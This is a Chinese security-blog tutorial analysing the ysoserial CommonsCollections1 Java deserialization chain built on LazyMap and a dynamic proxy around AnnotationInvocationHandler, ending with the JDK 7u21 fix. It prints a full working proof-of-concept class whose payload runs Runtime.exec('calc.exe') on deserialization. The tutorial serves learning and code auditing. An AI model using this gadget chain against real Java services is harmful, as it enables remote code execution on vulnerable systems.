1. 首页
  2. 代码审计

ysoserial 调用链分析(二) | LazyMap的CommonsCollections1&Tips

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

LazyMap的CommonsCollections1&Tips

本文承接上文,继续对CC1进行剖析。

上文连接:《ysoserial 调用链分析(一) | CC1硬核逆向分析(模拟发现者视角)》

之前跟大家分享过CommonsCollections1的逆向分析,但其实这并不是ysoserial的链,而是ysoserial的链传到国内后,国内一些大佬找到的另外一条,而真正的ysoserial CC1链,使用的是LazyMap而非TransforedMap

这两条链区别不大,主要的不同点在于:TransforedMap是在写入元素时执行transform()方法,而LazyMap是在get()方法中执行factory.transform()

利用链分析

我们知道CC1的入口类是AnnotationInvocationHandler,而在TransformedMap那条链中,是通过反序列化调用AnnotationInvocationHandlerreadObject进而调用setValue()方法,而在readObject()方法中,并没有调用LazyMap需要的get()方法,所以我们如果要用LazyMap构造反序列化,需要寻找其他入口点。

如果你通读过AnnotationInvocationHandler的源码,就应该能发现,在invoke()方法中,调用了memberValuesget()方法。

因此我们只需要调用invoke()方法就能顺理成章的完成链的构造,如何调用呢?

动态代理!(不熟悉的朋友可以看我之前的文章,写得非常详细)Java代码审计基础 | Java动态代理

巧的是,AnnotationInvocationHandler正好是一个InvocationHandler,因此如果我们对该对象进行代理,那么反序列化时执行任意方法,都会执行AnnotationInvocationHandlerinvoke()方法(这里如果不能理解,去看看之前的动态代理的文章)

使用LazyMap构造反序列化链

该链的流程大部分与TransformedMap一致,因此我们只需要用之前的POC进行修改就行

首先将TransformedMap改为LazyMap

Map lazyMap = LazyMap.decorate(hashmap, chainedTransformer);

然后,我们需要对AnnotationInvocationHandler的对象进行代理

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihc = c.getDeclaredConstructor(Class.class, Map.class);
aihc.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

我们现在获取到了代理对象proxyMap,但我们还需要再用AnnotationInvocationHandler对其进行包裹

invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, proxyMap);

因为我们的入口点是AnnotationInvocationHandlerreadObject,必须得传入一个AnnotationInvocationHandler对象,而不是代理对象。(这里如果难以理解,大家可以调试下)

POC(非ysoserial原生链,而是我们根据分析自己写出来的)

package com.ysoserial;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections_lazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_exec);
        HashMap hashmap = new HashMap();
        hashmap.put("coba1tstrike", "asdf");
        Map lazyMap = LazyMap.decorate(hashmap, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihc = c.getDeclaredConstructor(Class.class, Map.class);
        aihc.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) aihc.newInstance(Retention.class, proxyMap);

        // serialize
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(invocationHandler);
        oos.flush();
        oos.close();

        // deserialize
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

一些有意思的点:

hashmap的值

传入LazyMaphashmap的键,不在需要一定得传入”value”了,原因就是因为不用在经过if判断调用setValue()了,现在只需要调用invoke(),因此这里可以随意修改。

new ConstantTransformer(1)

细心的朋友应该会发现,在ysoserial的原生链中,在Transformer[]中,多了一个new ConstantTransformer(1),笔者调试后发现区别如下:

没有new ConstantTransformer(1)

new ConstantTransformer(1)

猜测作者可能是为了隐藏日志信息,毕竟抛出的java.lang.ProcessImpl是非常敏感的

CC1的修复

jdk 7u21后,将不再存在CC1的调用链,具体原因如下

改动对比:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

大家可以明显的看到setValue()方法被移除了,然后这不是真正的原因,就算有setValue()也没有办法再反序列化了,因为readObject()中,不再直接使用Map,而是创建了一个LinkedHashMap,将原来的键值对放进去,这样一来就没法执行原来的Map对象了。

因此该修复不仅修复了TransformedMap链,LazyMap链也不能在高于jdk7u20的版本下触发了,泪目。

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5411.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息